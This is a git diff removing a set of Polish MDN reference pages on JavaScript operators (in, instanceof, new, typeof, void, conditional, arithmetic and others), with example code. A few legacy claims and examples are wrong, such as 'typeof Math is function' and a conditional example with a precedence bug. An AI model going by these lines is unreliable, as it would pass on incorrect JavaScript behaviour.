diff --git a/files/pl/web/javascript/referencje/operatory/operator_in/index.html b/files/pl/web/javascript/referencje/operatory/operator_in/index.html deleted file mode 100644 index 0a8ef0f068..0000000000 --- a/files/pl/web/javascript/referencje/operatory/operator_in/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Operator in -slug: Web/JavaScript/Referencje/Operatory/Operator_in -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Operators/in ---- -

 

-

Podsumowanie

-

Operator in zwraca wartość true (prawda), jeśli określona własność jest w określonym obiekcie.

- - - - - - - - - - -
Operator
Zaimplementowany w:JavaScript 1.4
-

Składnia

-

- - propNameOrNumber - in - - objectName -

-

Parametry

-
-
- propNameOrNumber
-
- Łańcuch znaków lub wartość liczbowa reprezentujące nazwę własności lub indeks tablicy.
-
-
-
- objectName
-
- Nazwa obiektu.
-
-

Opis

-

Poniższe przykłady pokazują wybrane sposoby użycia operatora in.

-
// Tablice
-trees=new Array("redwood","bay","cedar","oak","maple")
-0 in trees        // zwraca true
-3 in trees        // zwraca true
-6 in trees        // zwraca false
-"bay" in trees    // zwraca false (musisz określić numer indeksu,
-                  // nie wartość w tym indeksie)
-"length" in trees // zwraca true (length jest własnością tablicy Array)
-
-// Obiekty predefiniowane
-"PI" in Math          // zwraca true
-myString=new String("coral")
-"length" in myString  // zwraca true
-
-// Custom objects
-mycar = {make:"Honda",model:"Accord",year:1998}
-"make" in mycar  // zwraca true
-"model" in mycar // zwraca true
-
-

Musisz określić obiekt z prawej strony operatora in. Na przykład: możesz określić łańcuch znaków stworzony za pomocą konstruktora String, ale nie możesz określić łańcucha znaków wprost.

-
color1=new String("green")
-"length" in color1 // zwraca true
-color2="coral"
-"length" in color2 // generuje błąd (color nie jest obiektem typu String)
-
-

Zastosowanie in z usuniętymi lub niezdefiniowanymi własnościami

-

Jeśli usuniesz własność za pomocą operatora delete, operator in zwróci wartość false (fałsz) dla tej własności.

-
mycar = {make:"Honda",model:"Accord",year:1998}
-delete mycar.make
-"make" in mycar  // zwraca false
-
-trees=new Array("redwood","bay","cedar","oak","maple")
-delete trees[3]
-3 in trees // zwraca false
-
-

Jeśli ustalisz własność jako niezdefiniowaną, ale nie usuniesz jej, operator in zwróci wartość true (prawda) dla tej własności.

-
mycar = {make:"Honda",model:"Accord",year:1998}
-mycar.make=undefined
-"make" in mycar  // zwraca true
-
-trees=new Array("redwood","bay","cedar","oak","maple")
-trees[3]=undefined
-3 in trees // zwraca true
-
-

Aby uzyskać dodatkowe informacje o zastosowaniu operatora in z usuniętymi elementami tablicy, zobacz delete.

diff --git a/files/pl/web/javascript/referencje/operatory/operator_instanceof/index.html b/files/pl/web/javascript/referencje/operatory/operator_instanceof/index.html deleted file mode 100644 index d9b83cd838..0000000000 --- a/files/pl/web/javascript/referencje/operatory/operator_instanceof/index.html +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: Operator instanceof -slug: Web/JavaScript/Referencje/Operatory/Operator_instanceof -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Operators/instanceof ---- -
{{jsSidebar("Operators")}}
- -

Operator instanceof sprawdza czy właściwość konstruktora prototype pojawia się gdziekolwiek w łańcuchu prototypowym obiektu.

- -

{{EmbedInteractiveExample("pages/js/expressions-instanceof.html")}}

- - - -

Składnia

- -
object instanceof constructor
- -
-
-

Parametry

- object
-
Obiekt do testowania.
-
- -
-
constructor
-
Funkcja przeciwko której testujemy.
-
- -

Opis

- -

Operator instanceof sprawdza obecność constructor.prototype w łańcuchu prototypowym obiektu object

- -
// definiowanie konstruktorów
-function C() {}
-function D() {}
-
-var o = new C();
-
-// true, ponieważ: Object.getPrototypeOf(o) === C.prototype
-o instanceof C;
-
-// false, ponieważ D.prototype nie występuje w łańcuchu prototypowym o.
-o instanceof D;
-
-o instanceof Object; // true, ponieważ:
-C.prototype instanceof Object // true
-
-C.prototype = {};
-var o2 = new C();
-
-o2 instanceof C; // true
-
-// false, ponieważ C.prototype nie ma już w łańcuchu prototypowym o
-o instanceof C;
-
-D.prototype = new C(); // add C to [[Prototype]] linkage of D
-var o3 = new D();
-o3 instanceof D; // true
-o3 instanceof C; // true since C.prototype is now in o3's prototype chain
-
- -

Note that the value of an instanceof test can change based on changes to the prototype property of constructors, and it can also be changed by changing an object prototype using Object.setPrototypeOf. It is also possible using the non-standard __proto__ pseudo-property.

- -

instanceof and multiple context (e.g. frames or windows)

- -

Different scopes have different execution environments. This means that they have different built-ins (different global object, different constructors, etc.). This may result in unexpected results. For instance, [] instanceof window.frames[0].Array will return false, because Array.prototype !== window.frames[0].Array and arrays inherit from the former.

- -

This may not make sense at first but when you start dealing with multiple frames or windows in your script and pass objects from one context to another via functions, this will be a valid and strong issue. For instance, you can securely check if a given object is, in fact, an Array using Array.isArray(myObj)

- -

For example checking if a Nodes is a SVGElement in a different context you can use myNode instanceof myNode.ownerDocument.defaultView.SVGElement

- -
Note for Mozilla developers:
-In code using XPCOM instanceof has special effect: obj instanceof xpcomInterface (e.g. Components.interfaces.nsIFile) calls obj.QueryInterface(xpcomInterface) and returns true if QueryInterface succeeded. A side effect of such call is that you can use xpcomInterface's properties on obj after a successful instanceof test. Unlike standard JavaScript globals, the test obj instanceof xpcomInterface works as expected even if obj is from a different scope.
- -

Examples

- -

Demonstrating that String and Date are of type Object and exceptional cases

- -

The following code uses instanceof to demonstrate that String and Date objects are also of type Object (they are derived from Object).

- -

However, objects created with the object literal notation are an exception here: Although the prototype is undefined, instanceof Object returns true.

- -
var simpleStr = 'This is a simple string';
-var myString  = new String();
-var newStr    = new String('String created with constructor');
-var myDate    = new Date();
-var myObj     = {};
-
-simpleStr instanceof String; // returns false, checks the prototype chain, finds undefined
-myString  instanceof String; // returns true
-newStr    instanceof String; // returns true
-myString  instanceof Object; // returns true
-
-myObj instanceof Object;    // returns true, despite an undefined prototype
-({})  instanceof Object;    // returns true, same case as above
-
-myString instanceof Date;   // returns false
-
-myDate instanceof Date;     // returns true
-myDate instanceof Object;   // returns true
-myDate instanceof String;   // returns false
-
- -

Demonstrating that mycar is of type Car and type Object

- -

The following code creates an object type Car and an instance of that object type, mycar. The instanceof operator demonstrates that the mycar object is of type Car and of type Object.

- -
function Car(make, model, year) {
-  this.make = make;
-  this.model = model;
-  this.year = year;
-}
-var mycar = new Car('Honda', 'Accord', 1998);
-var a = mycar instanceof Car;    // returns true
-var b = mycar instanceof Object; // returns true
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.8.6', 'The instanceof operator')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-11.8.6', 'The instanceof operator')}}{{Spec2('ES3')}}Initial definition. Implemented in JavaScript 1.4.
- -

Browser compatibility

- - - -

{{Compat("javascript.operators.instanceof")}}

- -

See also

- - diff --git a/files/pl/web/javascript/referencje/operatory/operator_new/index.html b/files/pl/web/javascript/referencje/operatory/operator_new/index.html deleted file mode 100644 index e6153d3a69..0000000000 --- a/files/pl/web/javascript/referencje/operatory/operator_new/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Operator new -slug: Web/JavaScript/Referencje/Operatory/Operator_new -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Operators/new ---- -
{{jsSidebar("Operators")}}
- -

Operator new tworzy nową instancję typu obiektu zdenifiowanego przez użytkownika lub instancję wbudowanego typu obiektu, który posiada konstruktor.

- -
{{EmbedInteractiveExample("pages/js/expressions-newoperator.html")}}
- - - -

Składnia

- -
new constructor[([arguments])]
- -

Parametry

- -
-
constructor
-
Klasa bądź funkcja, która definiuje typ obiektu instancji.
-
- -
-
arguments
-
Lista wartości z którymi zostanie wywołany constructor.
-
- -

Opis

- -

Tworzenie obiektu przez zdefiniowanego przez użytkownika przebiega w dwóch krokach:

- -
    -
  1. Zdefiniowanie typu obiektu poprzez napisanie funkcji.
  2. -
  3. Tworzenie jego instancji przy użyciu słowa kluczowego new.
  4. -
- -

Aby zdefiniować typ obiektu, stwórz funkcję dla tego typu, która określa jego nazwę i właściwości. Obiekt może mieć właściwość, której wartością jest on sam lub inny obiekt. Spójrz na przykłady poniżej

- -

Kiedy wykonywaniy jest kod new Foo(...), dzieją się następujące rzeczy:

- -
    -
  1. Tworzeny jest nowy obiekt, dzidziczący po Foo.prototype.
  2. -
  3. Wywoływany jest konstruktor Foo z określonymi argumentami, a kontekst this zostaje przypisany do nowo utworzonego obiektu. new Foo jest równoznaczne z new Foo(), tzn. w przypadku gdy lista argumentów jst nieokreślona, Foo jest wywoływane bez argumentów.
  4. -
  5. Obiekt zwrócony przez konstruktor staje się wynikiem całego wyrażenia new. Jeżeli konstruktor nie zwraca obiektu, obiekt stworzony w kroku 1 jest używany zamiast niego. (Zwykle kontruktory nie zwracają żadnej wartości, ale mogą tak czynić jeśli chcą nadpiać normalny proces tworzenia obiektu.)
  6. -
- -

Zawsze można dodać właściwość do wcześniej stworzonego obiektu. Na przykład, wyrażenie car1.color = "black" dodaje właściwość color do car1, przypisuje mu wartość "black". Jednakże, nie wpływa to w żaden sposób na inne obiekty. Aby dodać właściwość do wszystkich obiektów tego samego typu, trzeba dodać tę właściwość do definicji typu obiektu Car.

- -

Można dodać wspólną właściwość do wcześniej zdefiniowanego typu obiektu korzystając z właściwości Function.prototype. Definiuje ona wspólną właściwość dla wszystkich obiektów tego typu, a nie charakterystyczną dla instancji typu obiektu. Następujący kod dodaje właściwość color o wartości null do wszystkich obiektów typu Car, a następnie znienia tę wartość tylko w obiekcie car1 na łańcuch "black" . Po więcej informacji, zobacz prototype.

- -
function Car() {}
-car1 = new Car();
-
-console.log(car1.color);    // undefined
-
-Car.prototype.color = null;
-console.log(car1.color);    // null
-
-car1.color = 'black';
-console.log(car1.color);   // black
-
- -

Przykłady

- -

Typ obiektu i jego instancja

- -

Przypuśćmy, że chcesz stworzyś typ obiektu dla aut. Chcesz, żeby był nazwany car i by miał właściwości makemodel i year. Żeby to osiągnąć należy stworzyć następującą funkcję:

- -
function Car(make, model, year) {
-  this.make = make;
-  this.model = model;
-  this.year = year;
-}
-
- -

Teraz można stworzyć obiekt mycar:

- -
var mycar = new Car('Eagle', 'Talon TSi', 1993);
-
- -

Powyższy kod deklaruje zmienną mycar i przypisuje do niej określone właściwości. Wartość mycar.make to łańcuch "Eagle", mycar.year to liczba 1993 itd.

- -

Można stworzyć nieograniczoną ilość obiektów Car poprzez słowo kluczowe new. Na przykład:

- -
var kenscar = new Car('Nissan', '300ZX', 1992);
-
- -

Właściwość obiektu, będąca innym obiektem

- -

Przypuśćmy, że definiujemy typ obiektu Person jak poniżej:

- -
function Person(name, age, sex) {
-  this.name = name;
-  this.age = age;
-  this.sex = sex;
-}
-
- -

A następnie tworzymy dwa obiekty Person:

- -
var rand = new Person('Rand McNally', 33, 'M');
-var ken = new Person('Ken Jones', 39, 'M');
-
- -

Teraz możemy przepisać definicję Car tak, by zawierała właściwość owner, która przyjmuje obiekt:

- -
function Car(make, model, year, owner) {
-  this.make = make;
-  this.model = model;
-  this.year = year;
-  this.owner = owner;
-}
-
- -

Aby utworzyć nowe obiekty, należy napisać:

- -
var car1 = new Car('Eagle', 'Talon TSi', 1993, rand);
-var car2 = new Car('Nissan', '300ZX', 1992, ken);
-
- -

Zamiast przekazywania wartości liczbowych lub łańcuchów znaków, w powyższym przykładzie przekazywane są obiekty: rand oraz ken. Aby uzyskać imię właściciela samochodu car2, należy napisać:

- -
car2.owner.name
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecifikacjaStatusKomentarz
{{SpecName('ESDraft', '#sec-new-operator', 'The new Operator')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-new-operator', 'The new Operator')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-11.2.2', 'The new Operator')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-11.2.2', 'The new Operator')}}{{Spec2('ES3')}}
{{SpecName('ES1', '#sec-11.2.2', 'The new Operator')}}{{Spec2('ES1')}}Wstępna definicja. Zaimpelementowano w JavaScript 1.0.
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.operators.new")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/operatory/operator_potoku/index.html b/files/pl/web/javascript/referencje/operatory/operator_potoku/index.html deleted file mode 100644 index 9bc36390af..0000000000 --- a/files/pl/web/javascript/referencje/operatory/operator_potoku/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Operator potoku -slug: Web/JavaScript/Referencje/Operatory/Operator_potoku -tags: - - JavaScript - - Operator - - ekxperymentalny -translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator ---- -
{{jsSidebar("Operators")}} {{SeeCompatTable}}
- -
Eskperymentalny operator potoku |> (obecnie na pierwszym etapie testów) pozwala na tworzenie łańcuchów wywołań funkcji w czytelny sposób. Dodaje lukier syntaktyczny do wywołania funkcji z pojedynczym argumentem, pozwalając przykładowo na pisanie '%21' |> decodeURI zamiast decodeURI('%21').
- -

Składnia

- -
wyrażenie |> funkcja
- -

Przykłady

- -

Łańcuchowe wywołania funkcji

- -

Operator potoku może poprawić czytelność kodu przy łańcuchowych wywołaniach wielu funkcji.

- -
const double = (n) => n * 2;
-const increment = (n) => n + 1;
-
-// bez operatora potoku
-double(increment(double(double(5)))); // 42
-
-// z użyciem potoku
-5 |> double |> double |> increment |> double; // 42
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - -
SpecyfikacjaStatusUwagi
Pipeline operator draftStage 1Nie jest jeszcze częścią specyfikacji ECMAScript.
- -

Wsparcie przeglądarek

- -
- - -

{{Compat("javascript.operators.pipeline")}}

-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/operatory/operator_przecinkowy/index.html b/files/pl/web/javascript/referencje/operatory/operator_przecinkowy/index.html deleted file mode 100644 index b037dcfdc8..0000000000 --- a/files/pl/web/javascript/referencje/operatory/operator_przecinkowy/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Operator przecinkowy -slug: Web/JavaScript/Referencje/Operatory/Operator_przecinkowy -tags: - - JavaScript - - Operator - - Przecinek - - Przecinkowy -translation_of: Web/JavaScript/Reference/Operators/Comma_Operator ---- -
{{jsSidebar("Operators")}}
- -

- -

Operator przecinkowy wykonuje wszystkie argumenty i zwraca wynik ostatniego argumentu.

- -

Składnia

- -
wyr1, wyr2, wyr3...
- -

Parametry

- -
-
wyr1, wyr2, wyr3
-
Wyrażenia, z których jedynie ostatnie jest zwracane.
-
- -

Opis

- -

Możemy zastosować operator przecinkowy, kiedy chcemy utworzyć wyrażenie składające się z kilku wyrażeń. Operator przecinkowy jest chyba najczęściej używany w instrukcji pętli for.

- -

Na przykład, jeśli a jest tablicą dwuwymiarową z 10 elementami w sobie, następujący kod użyje operatora przecinkowego do zwiększenia dwóch zmiennych na raz. Kod wypisze wartości elementów ułożonych po przekątnej w tablicy:

- -
var a = [[]];
-for (var i=0, j=9; i <= 9; i++, j--)
-   console.log("a["+i+","+j+"]= " + a[i,j])
-
diff --git a/files/pl/web/javascript/referencje/operatory/operator_typeof/index.html b/files/pl/web/javascript/referencje/operatory/operator_typeof/index.html deleted file mode 100644 index dfb169a9b5..0000000000 --- a/files/pl/web/javascript/referencje/operatory/operator_typeof/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Operator typeof -slug: Web/JavaScript/Referencje/Operatory/Operator_typeof -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Operators/typeof ---- -

 

- -

Podsumowanie

- -

Operator typeof używa się na jeden z poniższych sposobów:

- -
    -
  1. typeof operand
  2. -
  3. typeof (operand )
  4. -
- -

Operator typeof zwraca łańcuch zawierający type of unevaluated operand: jak przetłumaczyć unevaluated?typ operandu. operand jest łańcuchem znaków, zmienną, słowem kluczowym lub obiektem, którego typ ma zostać zwrócony. Zastosowanie nawiasów jest opcjonalne.

- - - - - - - - - - - - - - - -
Operator
Zaimplementowany w:JavaScript 1.1
Wersja ECMA:ECMA-262
- -

Zakładamy, że możemy zdefiniować następujące zmienne:

- -
var myFun = new Function("5+2")
-var shape="round"
-var size=1
-var today=new Date()
-
- -

Operator typeof zwróci następujący rezultat dla tych zmiennych:

- -
typeof myFun is object
-typeof shape is string
-typeof size is number
-typeof today is object
-typeof dontExist is undefined
-
- -

Dla słów kluczowych true oraz null, operator typeof zwraca następujący rezultat:

- -
typeof true is boolean
-typeof null is object
-
- -

Dla liczby lub łańcucha znaków, operator typeof zwraca następujący rezultat:

- -
typeof 62 is number
-typeof 'Hello world' is string
-
- -

Dla własności wartości, operator typeof zwraca typ wartości własności, jakie składają się na treść:

- -
typeof document.lastModified is string
-typeof window.length is number
-typeof Math.LN2 is number
-
- -

Dla metod i funkcji, operator typeof zwraca następujący rezultat:

- -
typeof blur is function
-typeof eval is function
-typeof parseInt is function
-typeof shape.split is function
-
- -

Dla obiektów predefiniowanych, operator typeof zwraca następujący rezultat:

- -
typeof Date is function
-typeof Function is function
-typeof Math is function
-typeof Option is function
-typeof String is function
-
diff --git a/files/pl/web/javascript/referencje/operatory/operator_void/index.html b/files/pl/web/javascript/referencje/operatory/operator_void/index.html deleted file mode 100644 index 65b3fe8fa2..0000000000 --- a/files/pl/web/javascript/referencje/operatory/operator_void/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Operator void -slug: Web/JavaScript/Referencje/Operatory/Operator_void -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Operators/void ---- -

 

- -

Podsumowanie

- -

Operator void może być używany na jeden z dwóch sposobów:

- -
    -
  1. void (wyrażenie )
  2. -
  3. void wyrażenie
  4. -
- -

Operator void określa wyrażenie, które ma zostać ocenione bez zwracania wartości. wyrażenie jest wyrażeniem JavaScript, które ma zostać ocenione. Nawiasy dookoła wyrażenia są opcjonalne, ale używanie ich jest w dobrym stylu.

- - - - - - - - - - - - - - - -
Operator
Zaimplementowany w:JavaScript 1.1
Wersja ECMA:ECMA-262
- -

Możesz użyć operatora void, aby określić wyrażenie jako hipertekstowy odnośnik. Wyrażenie jest oceniane, ale nie jest ładowane w miejsce aktualnego dokumentu.

- -

Poniższy kod tworzy hipertekstowy odnośnik, który nie wykonuje nic po kliknięciu go przez użytkownika. Gdy użytkownik kliknie odnośnik, void(0) zostanie oceniony jako 0, jednak nie ma to żadnego efektu w JavaScripcie.

- -
<a href="javascript:void(0)">Kliknij tutaj, żeby nic się nie stało</a>
-
- -

Poniższy kod tworzy hipertekstowy odnośnik, który wysyła formularz, gdy zostanie kliknięty przez użytkownika.

- -
<a href="javascript:void(document.form.submit())">
-Kliknij tutaj, aby wysłać.</a>
-
diff --git a/files/pl/web/javascript/referencje/operatory/operator_warunkowy/index.html b/files/pl/web/javascript/referencje/operatory/operator_warunkowy/index.html deleted file mode 100644 index b5b00d0aa1..0000000000 --- a/files/pl/web/javascript/referencje/operatory/operator_warunkowy/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Operator warunkowy -slug: Web/JavaScript/Referencje/Operatory/Operator_warunkowy -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator ---- -
{{jsSidebar("Operators")}}
- -

Operator warunkowy jest jedynym operatorem w JavaScript, który pobiera trzy argumenty. Operator jest często stosowany jako skrócenie instrukcji if.

- -

Składnia

- -
warunek ? wyr1 : wyr2 
- -

Parametry

- -
-
warunek
-
Wyrażenie, które sprawdza czy warunek jest spełniony (true lub false).
-
- -
-
wyr1, wyr2
-
Wyrażenia z wartością jakiegoś typu.
-
- -

Opis

- -

Jeśli warunek jest true, operator zwraca wartość wyr1; w przeciwnym razie zwraca wartość wyr2. Na przykład, do wyświetlenia różnych wiadomości opartych na wartości zmiennej isMember, będziesz mógł zastosować poniższą instrukcję:

- -
console.log("Opłata wynosi " + (isMember ? "$2.00" : "$10.00"));
-console.log("Opłata wynosi " + (zarejestrowany == 1) ? "$2.00" : "$10.00");
-
diff --git a/files/pl/web/javascript/referencje/operatory/operatory_arytmetyczne/index.html b/files/pl/web/javascript/referencje/operatory/operatory_arytmetyczne/index.html deleted file mode 100644 index 474545150a..0000000000 --- a/files/pl/web/javascript/referencje/operatory/operatory_arytmetyczne/index.html +++ /dev/null @@ -1,268 +0,0 @@ ---- -title: Operatory arytmetyczne -slug: Web/JavaScript/Referencje/Operatory/Operatory_arytmetyczne -tags: - - JavaScript - - Operator -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Arithmetic_Operators ---- -
-
{{jsSidebar("Operators")}}
-
- -

Podsumowanie

- -

Operatory arytmetyczne pobierają wartości liczbowe (w postaci bezpośredniej lub zmiennej) jako ich operandy i zwracają jedna, wynikową wartość liczbową. Typowymi operatorami arytmetycznymi są dodawanie (+), odejmowanie (-), mnożenie (*), i dzielenie (/). Operatory te działają tak samo jak w innych językach programowania, z wyjątkiem operatora dzielenia /, który w JavaScripcie zwraca wynik będący liczbą zmiennoprzecinkową, nie obcinając części ułamkowej, jak to się dzieje w C lub Javie.

- -

Dodawanie (+)

- -

Operator dodawania zwraca sume operandów lub jeśli chociaż jeden operand był łańcuchem znaków, ich konkatenacje.

- -

Składnia

- -
Operator: x + y
- -

Przykłady

- -
// Number + Number -> dodawanie
-1 + 2 // 3
-
-// Boolean + Number -> dodawanie
-true + 1 // 2
-
-// Boolean + Boolean -> dodawanie
-false + false // 0
-
-// Number + String -> konkatenacja
-5 + "foo" // "5foo"
-
-// String + Boolean -> konkatenacja
-"foo" + false // "foofalse"
-
-// String + String -> konkatenacja
-"foo" + "bar" // "foobar"
- -

 

- -

Odejmowanie (-)

- -

Operator odejmowania zwraca różnicę między pierwszym, a drugim operandem.

- -

Składnia

- -
Operator: x - y
-
- -

Przykłady

- -
5 - 3 // 2
-3 - 5 // -2
-5 - true // 4
-"foo" - 3 // NaN
- -

 

- -

Dzielenie (/)

- -

Operator dzielenia zwraca iloraz operandów gdzie ten po lewej stronie jest dzielną, a ten po prawej dzielnikiem.

- -

Składnia

- -
Operator: x / y
-
- -

Przykłady

- -
1 / 2      // zwraca 0.5 w JavaScript
-1 / 2      // zwraca 0 w Java
-
-1.0 / 2.0  // zwraca 0.5 zarówno w JavaScript i Java
-
-2.0 / 0    // zwraca Infinity w JavaScript
-2.0 / 0.0  // zwraca także Infinity
-2.0 / -0.0 // zwraca -Infinity in JavaScript
- -

 

- -

Mnożenie (*)

- -

Operotor mnożenia zwraca wynik mnożenia operandów.

- -

Składnia

- -
Operator: x * y
-
- -

Przykłady

- -
2 * 2 // 4
--2 * 2 // -4
-Infinity * 0 // NaN
-Infinity * Infinity // Infinity
-"foo" * 2 // NaN
-
- -

 

- -

Dzielenie modulo (%)

- -

Operator modulo zwraca resztę z dzielenia pierwszego operandu przez drugi.

- -

Składnia

- -
Operator: var1 % var2
-
- -

Przykłady

- -
12 % 5 // 2
--1 % 2 // -1
-NaN % 2 // NaN
-1 % 2 // 1
-2 % 3 // 2
--4 % 2 // -0
-5.5 % 2 // 1.5
- -

 

- -

Potęgowanie (**)

- -
-

Ta eksperymentalna własnośc, jest częścią propozycji specyfikacji ECMAScript 2016 (ES7).
- Ponieważ specyfikacja tej własność i nie została oficjalnie wdrożona, przed użyciem zapoznaj się z tabelą kompatybilności dla różnych przeglądarek. Warto wspomnieć, że składnia jak i zachowanie eksperymentalnych własności mogą zmieniać się wraz ze zmianami w specyfikacji.

-
- -

Operator ten zwraca wynik gdzie pierwszy operand jest podstawą, a drugi wykładnikiem (var1var2). Operator ten jest asocjacyjny co oznacza, że dopuszalne jest użycie w formie a ** b ** c, co jest równe a ** (b ** c).

- -

Składnia

- -
Operator: var1 ** var2
-
- -

Uwagi

- -

W większości języków programowania które posiadają operator potęgowania (zwykle jako ^ lub **) jak np. PHP czy Python, ma on wyższy priorytet niż operatory jedno argumentowe (oznaczające liczbę dodatnią lub ujemną) + czy -, ale istnieją wyjątki. Np. w Bash ten operator posiada niższy priorytet niż wspomniane wcześniej + czy -.
- W JavaScript niemożliwe jest użycie operatorów jedno argumentowych (+/-/~/!/delete/void/typeof)  bezpośrednio przed podstawą.

- -
-2 ** 2;
-// 4 w Bash, -4 w innych językach.
-// W JavaScript jest to nieprawidłowa próba użycia operatora potęgowania.
-
-
--(2 ** 2); // -4
-5 ** -2 // 0.04
-
- -

Przykłady

- -
2 ** 3 // 8
-3 ** 2 // 9
-3 ** 2.5 // 15.588457268119896
-10 ** -1 // 0.1
-NaN ** 2 // NaN
-
-2 ** 3 ** 2 // 512
-2 ** (3 ** 2) // 512
-(2 ** 3) ** 2 // 64
- -

Aby odwrócić znak zwracanej wartości:

- -
-(2 ** 2) // -4
- -

Sposób na wymuszenie potęgowania ujemnej liczby:

- -
(-2) ** 2 // 4
- -

 

- -

Inkrementacja (++)

- -

Operator inkrementacji zwiększa o 1 wartość operandu i zwraca taką wartość. 

- - - -

Składnia

- -
Operator: x++ lub ++x
-
- -

Examples

- -
// Przyrostek
-var x = 3;
-y = x++; // y = 3, x = 4
-
-// Przedrostek
-var a = 2;
-b = ++a; // a = 3, b = 3
- -

 

- -

Dekrementacja (--)

- -

Operator dekrementacji zmniejsza o 1 wartość operandu i zwraca taką wartość.

- - - -

Składnia

- -
Operator: x-- lub --x
-
- -

Przykłady

- -
// Przyrostek
-var x = 3;
-y = x--; // y = 3, x = 2
-
-// Przedrostek
-var a = 2;
-b = --a; // a = 1, b = 1
- -

 

- -

Negacja (-)

- -

Jednoargumentowy operator negacji zwraca wartość operandu ze zmienionym znakiem.

- -

Składnia

- -
Operator: -x
-
- -

Przykłady

- -
var x = 3;
-y = -x; // y = -3, x = 3
- -

 

- -

Jednoargumentowy plus (+)

- -

Jest to jednoargumentowy operator, który transformuje inne typy zmiennych do typu Number. Jeśli dana wartość nie może zostać przetransformowana, zwracany jest typ NaN.

- -

Składnia

- -
Operator: +x
-
- -

Przykłady

- -
+3     // 3
-+"3"   // 3
-+true  // 1
-+false // 0
-+null  // 0
-
-var x = function(val){
- return val
-}
-+x // NaN
-
diff --git "a/files/pl/web/javascript/referencje/operatory/operatory_dzia\305\202aj\304\205ce_na_ci\304\205gach_znak\303\263w/index.html" "b/files/pl/web/javascript/referencje/operatory/operatory_dzia\305\202aj\304\205ce_na_ci\304\205gach_znak\303\263w/index.html" deleted file mode 100644 index 5b2c216efd..0000000000 --- "a/files/pl/web/javascript/referencje/operatory/operatory_dzia\305\202aj\304\205ce_na_ci\304\205gach_znak\303\263w/index.html" +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Operatory działające na ciągach znaków -slug: Web/JavaScript/Referencje/Operatory/Operatory_działające_na_ciągach_znaków -tags: - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition -translation_of_original: Web/JavaScript/Reference/Operators/String_Operators ---- -

-

-

Podsumowanie

-

Oprócz operatorów porównania, których można używać z ciągami znaków, dostępny jest także operator konkatenacji (+), łączący dwie wartości tekstowe w jedną, zwracający nowy ciąg znaków stanowiący połączenie swoich operandów. Na przykład "ciąg " + "znaków" zwróci "ciąg znaków". -

Skrócony operator przypisania += może być również używany do konkatenacji ciągów znaków. Na przykład, jeśli zmienna mojtekst zawiera wartość "alfa", wyrażenie mojtekst += "bet" zostanie wyliczone jako "alfabet", a wartość ta zostanie przypisana do zmiennej mojtekst. -

- - - - - - - - - - - - -
Operator
Zaimplementowany w:JavaScript 1.0
Wersja ECMA:ECMA-262
-


-

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Operators/String_Operators", "es": "es/Referencia_de_JavaScript_1.5/Operadores/String", "fr": "fr/R\u00e9f\u00e9rence_de_JavaScript_1.5_Core/Op\u00e9rateurs/Op\u00e9rateurs_de_cha\u00eenes" } ) }} diff --git "a/files/pl/web/javascript/referencje/operatory/operatory_pami\304\231ci/index.html" "b/files/pl/web/javascript/referencje/operatory/operatory_pami\304\231ci/index.html" deleted file mode 100644 index 5db4669011..0000000000 --- "a/files/pl/web/javascript/referencje/operatory/operatory_pami\304\231ci/index.html" +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Operatory pamięci -slug: Web/JavaScript/Referencje/Operatory/Operatory_pamięci -tags: - - JavaScript - - Operator -translation_of: Web/JavaScript/Reference/Operators/Property_Accessors ---- -
-
{{jsSidebar("Operators")}}
-
- -

Operatory pamięci umożliwiają dostęp do właściwości lub metod obiektu.

- -

Składnia

- -
object.property
-object['property']
-
- -

Opis

- -

Obiekt, w rzeczywistości, jest kojarzeniową tablicą (jak mapa, słownik, hash, poglądowa tabela). Klucze w tablicy są nazwami właściwości i metod (właściwości odnoszących się do funkcji). Istnieją dwa sposoby uzyskania dostępu do właściwości: zapis z kropką lub zapis z nawiasem (operator indeksu dolnego).

- -

Zapis z kropką

- -
get = object.property;
-object.property = set;
-
- -

